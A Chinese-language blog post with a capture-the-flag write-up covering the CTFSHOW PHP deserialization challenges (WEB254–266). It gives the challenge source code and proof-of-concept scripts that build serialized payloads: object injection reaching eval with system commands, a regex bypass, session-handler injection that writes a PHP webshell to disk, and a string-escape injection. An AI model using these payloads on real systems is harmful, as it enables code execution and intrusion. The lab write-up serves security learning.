User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

CTFSHOW-反序列化专题

2020-12-23 22:29:33
707  0 0

Contents

  • 1 WEB254
  • 2 WEB255
  • 3 WEB256
  • 4 WEB257
  • 5 WEB258
  • 6 WEB259
  • 7 WEB260
  • 8 WEB263
  • 9 WEB264
  • 10 WEB265
  • 11 WEB266

WEB254

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

传入username=xxxxxx&password=xxxxxx得到flag

WEB255

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

关键代码与上题区别在存在cookie处反序列化,要让cookie处的user值传入序列化字符串,同时下面的第二个if判断需要为1,所以本地构造POC代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='admin';
    public $password='admin';
    public $isVip=true;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

得到结果:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
利用EditThisCookie添加user值为上面的结果,传入username=admin&password=admin刷新页面得到flag

WEB256

同上一题构造没啥区别,构造的POC将password改为admin123,将得到的结果用EditThisCookie传入,同时传入username=admin&password=admin123得到flag

WEB257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

很明显需要ctfShowUser这个类去触发backDoor这个类,因为这个类存在eval函数,可以任意代码执行,构造POC如下首先列当前目录

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("ls");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

​然后cat flag.php即可,注意构造system(“ls”)后要有分号,其余操作与前几题类似

WEB258

与上一题变化的是类的属性变为了public,关键代码如下,绕过正则的方法:将序列化后O后的数字前加一个+,例:“O:11”改为“O:+11”

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

构造POC代码如下:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat flag.php");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

将得到的结果如上所说添加%2B(+的URL编码):O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
其余操作同前几题,源代码得到flag。

WEB259

SoapClient与CRLF组合拳

WEB260

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

​要求传入的值序列化后内容包含ctfshow_i_love_36D,所以在已经了解反序列化的原理后,直接传ctfshow_i_love_36D就可以了

WEB263

考点:php-session反序列化

利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了

看题之前,先看一下这篇文章(非常详细)

https://www.cnblogs.com/vege/p/12575371.html

题目存在源码泄露,访问www.zip下载得到源码

index.php

<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
    
?>​

check.php

<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

    $data= $db->get('admin',
    [    'id',
        'UserName0'
    ],[
        "AND"=>[
        "UserName0[=]"=>$GET['u'],
        "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
        ]
    ]);
    if($data['id']){
        //登陆成功取消次数累计
        $_SESSION['limit']= 0;
        echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
    }else{
        //登陆失败累计次数加1
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
        echo json_encode(array("error","msg"=>"登陆失败"));
    }
}

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

​看完上述文章后就能了解到PHP的Session处理器不同会造成漏洞的产生,而inc.php又强调设置了session.serialize_handler为PHP,猜测原本的session.serialize_handler为php_serialize因为这两种处理的时候会有问题存在。同时看到check.php包含了inc.php,而inc.php里又存在一个任意文件写入漏洞

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

同时username和password的值也是我们可控的,那么构造poc即可,注意使用的是php引擎,所以需要前面加个|,同时根据index.php中要求还要进行一次Base64加密

<?php
class User{
    public $username;
    public $password;
    public $status='a';

}
$a=new User();
$a->username='b.php';
$a->password='<?php system("cat f*");?>';
echo base64_encode('|'.serialize($a));

接着先访问index.php,不用输入用户名和密码,然后修改cookie中的limit为生成的Payload,刷新一下,再访问check.php是为了将修改好的内容触发修改客户端的cookie,从而使session的值也改变,这样在利用php引擎进行反序列化后就会成功触发User类中的file_put_contents函数,写入log-b.php文件

最后访问log-b.php在源代码获得flag

WEB264

index.php

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

具体的可以参考下web262,但这个题略微恶心一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

同时还需要传一个Cookie的值:msg=1  满足message.php最后一个if判断。最后访问message.php得到flag

WEB265

 <?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

通读代码,要求GET请求传递的ctfshow参数经过反序列化后,指向的token属性值为一个md5随机数。而获得flag的要求时token和password的值相等,return才会返回1输出flag

构造POC

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token=1;
    public $password=1;
}
$a = new ctfshowAdmin();
$a -> token=&$a -> password;
echo serialize($a);
?>

考察php按地址传参,就像这样a的值会跟着b的值而变

将生成结果传过去得到flag。

WEB266

index.php

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

很明显要想flag的方法只要生成一个ctfshow的对象即可,但是传递的参数中却不允许出现ctfshow,这进行了一个正则匹配。但是这个正则匹配没有加/i所以可以通过大小写绕过,而同时PHP还有一些特点:PHP大小写:函数名和类名不区分,变量名区分,测试代码如下

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

class Ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

//Fatal error: Cannot declare class Ctfshow, because the name is already in use in D:\phpstudy\PHPTutorial\WWW\ctfshow\xuliehua\266\index.php on line 8
//该类名已经使用

注:因为传递的方式需要通过POST请求,但是却没有参数名,所以HackBar没法使用,利用BP传递O:7:”ctfShow”:0:{}得到flag

 

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • SUCTF 2019 Guess_game
  • Python pickle反序列化
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
近期评论
    文章归档
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 项目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    157 文章 0 评论 21187 浏览
    测试
    测试